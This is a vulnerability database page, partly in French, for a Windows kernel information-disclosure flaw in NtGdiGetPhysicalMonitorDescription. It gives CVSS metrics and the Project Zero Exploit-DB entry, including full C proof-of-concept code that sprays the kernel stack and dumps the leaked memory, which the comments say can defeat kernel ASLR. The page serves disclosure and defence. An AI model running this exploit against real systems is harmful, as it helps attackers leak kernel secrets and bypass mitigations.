Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-200 |
Exposure of Sensitive Information to an Unauthorized Actor The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. |
|
Metrics
Metric |
Score |
Sévérité |
CVSS Vecteur |
Source |
V3.0 |
5.5 |
MEDIUM |
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack VectorThis metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack ComplexityThis metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges RequiredThis metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User InteractionThis metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. ScopeFormally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality ImpactThis metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity ImpactThis metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is no loss of integrity within the impacted component. Availability ImpactThis metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is no impact to availability within the impacted component. Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
V2 |
2.1 |
|
AV:L/AC:L/Au:N/C:P/I:N/A:N |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 42742
Date de publication : 2017-09-17 22:00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1268
We have discovered that the nt!NtGdiGetPhysicalMonitorDescription system call discloses portions of uninitialized kernel stack memory to user-mode clients, on Windows 7 to Windows 10.
This is caused by the fact that the syscall copies a whole stack-based array of 256 bytes (128 wide-chars) to the caller, but typically only a small portion of the buffer is used to store the requested monitor description, while the rest of it remains uninitialized. This memory region contains sensitive information such as addresses of executable images, kernel stack, kernel pools and stack cookies.
The attached proof-of-concept program demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call. An example output is as follows:
--- cut ---
00000000: 47 00 65 00 6e 00 65 00 72 00 69 00 63 00 20 00 G.e.n.e.r.i.c. .
00000010: 4e 00 6f 00 6e 00 2d 00 50 00 6e 00 50 00 20 00 N.o.n.-.P.n.P. .
00000020: 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 00 00 M.o.n.i.t.o.r...
00000030: 74 00 6f 00 72 00 2e 00 64 00 65 00 76 00 69 00 t.o.r...d.e.v.i.
00000040: 63 00 65 00 64 00 65 00 73 00 63 00 25 00 3b 00 c.e.d.e.s.c.%.;.
00000050: 47 00 65 00 6e 00 65 00 72 00 69 00 63 00 20 00 G.e.n.e.r.i.c. .
00000060: 4e 00 6f 00 6e 00 2d 00 50 00 6e 00 50 00 20 00 N.o.n.-.P.n.P. .
00000070: 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 00 00 M.o.n.i.t.o.r...
00000080: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000090: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000a0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000b0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000d0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000e0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
--- cut ---
If the stack spraying part of the PoC code is disabled, we can immediately observe various kernel-mode addresses in the dumped memory area.
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <PhysicalMonitorEnumerationAPI.h>
#include <cstdio>
extern "C"
NTSTATUS WINAPI NtMapUserPhysicalPages(
PVOID BaseAddress,
ULONG NumberOfPages,
PULONG PageFrameNumbers
);
NTSTATUS(WINAPI *GetPhysicalMonitorDescription)(
_In_ HANDLE hMonitor,
_In_ DWORD dwPhysicalMonitorDescriptionSizeInChars,
_Out_ LPWSTR szPhysicalMonitorDescription
);
#define PHYSICAL_MONITOR_DESCRIPTION_SIZE 128
#define STATUS_SUCCESS 0
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
VOID MyMemset(PVOID ptr, BYTE byte, ULONG size) {
PBYTE _ptr = (PBYTE)ptr;
for (ULONG i = 0; i < size; i++) {
_ptr[i] = byte;
}
}
VOID SprayKernelStack() {
// Buffer allocated in static program memory, hence doesn't touch the local stack.
static SIZE_T buffer[1024];
// Fill the buffer with 'A's and spray the kernel stack.
MyMemset(buffer, 'A', sizeof(buffer));
NtMapUserPhysicalPages(buffer, ARRAYSIZE(buffer), (PULONG)buffer);
// Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
MyMemset(buffer, 'B', sizeof(buffer));
}
int main() {
WCHAR OutputBuffer[PHYSICAL_MONITOR_DESCRIPTION_SIZE];
HMODULE hGdi32 = LoadLibrary(L"gdi32.dll");
GetPhysicalMonitorDescription = (NTSTATUS(WINAPI *)(HANDLE, DWORD, LPWSTR))GetProcAddress(hGdi32, "GetPhysicalMonitorDescription");
// Create a window for referencing a monitor.
HWND hwnd = CreateWindowW(L"BUTTON", L"TestWindow", WS_OVERLAPPEDWINDOW | WS_VISIBLE,
CW_USEDEFAULT, CW_USEDEFAULT, 100, 100, NULL, NULL, 0, 0);
/////////////////////////////////////////////////////////////////////////////
// Source: https://msdn.microsoft.com/en-us/library/windows/desktop/dd692950(v=vs.85).aspx
/////////////////////////////////////////////////////////////////////////////
HMONITOR hMonitor = NULL;
DWORD cPhysicalMonitors;
LPPHYSICAL_MONITOR pPhysicalMonitors = NULL;
// Get the monitor handle.
hMonitor = MonitorFromWindow(hwnd, MONITOR_DEFAULTTOPRIMARY);
// Get the number of physical monitors.
BOOL bSuccess = GetNumberOfPhysicalMonitorsFromHMONITOR(hMonitor, &cPhysicalMonitors);
if (bSuccess) {
// Allocate the array of PHYSICAL_MONITOR structures.
pPhysicalMonitors = (LPPHYSICAL_MONITOR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cPhysicalMonitors * sizeof(PHYSICAL_MONITOR));
if (pPhysicalMonitors != NULL) {
// Get the array.
bSuccess = GetPhysicalMonitorsFromHMONITOR(hMonitor, cPhysicalMonitors, pPhysicalMonitors);
if (bSuccess) {
for (DWORD i = 0; i < cPhysicalMonitors; i++) {
RtlZeroMemory(OutputBuffer, sizeof(OutputBuffer));
SprayKernelStack();
NTSTATUS st = GetPhysicalMonitorDescription(pPhysicalMonitors[i].hPhysicalMonitor, PHYSICAL_MONITOR_DESCRIPTION_SIZE, OutputBuffer);
if (st == STATUS_SUCCESS) {
PrintHex((PBYTE)OutputBuffer, sizeof(OutputBuffer));
} else {
printf("[-] GetPhysicalMonitorDescription failed, %x\n", st);
}
}
// Close the monitor handles.
bSuccess = DestroyPhysicalMonitors(cPhysicalMonitors, pPhysicalMonitors);
}
// Free the array.
HeapFree(GetProcessHeap(), 0, pPhysicalMonitors);
}
}
DestroyWindow(hwnd);
return 0;
}
Products Mentioned
Configuraton 0
Microsoft>>Windows_10 >> Version -
Microsoft>>Windows_10 >> Version 1511
Microsoft>>Windows_10 >> Version 1607
Microsoft>>Windows_10 >> Version 1703
Microsoft>>Windows_7 >> Version *
Microsoft>>Windows_8.1 >> Version *
Microsoft>>Windows_rt_8.1 >> Version *
Microsoft>>Windows_server_2008 >> Version *
Microsoft>>Windows_server_2008 >> Version r2
Microsoft>>Windows_server_2012 >> Version -
Microsoft>>Windows_server_2012 >> Version r2
Microsoft>>Windows_server_2016 >> Version *
References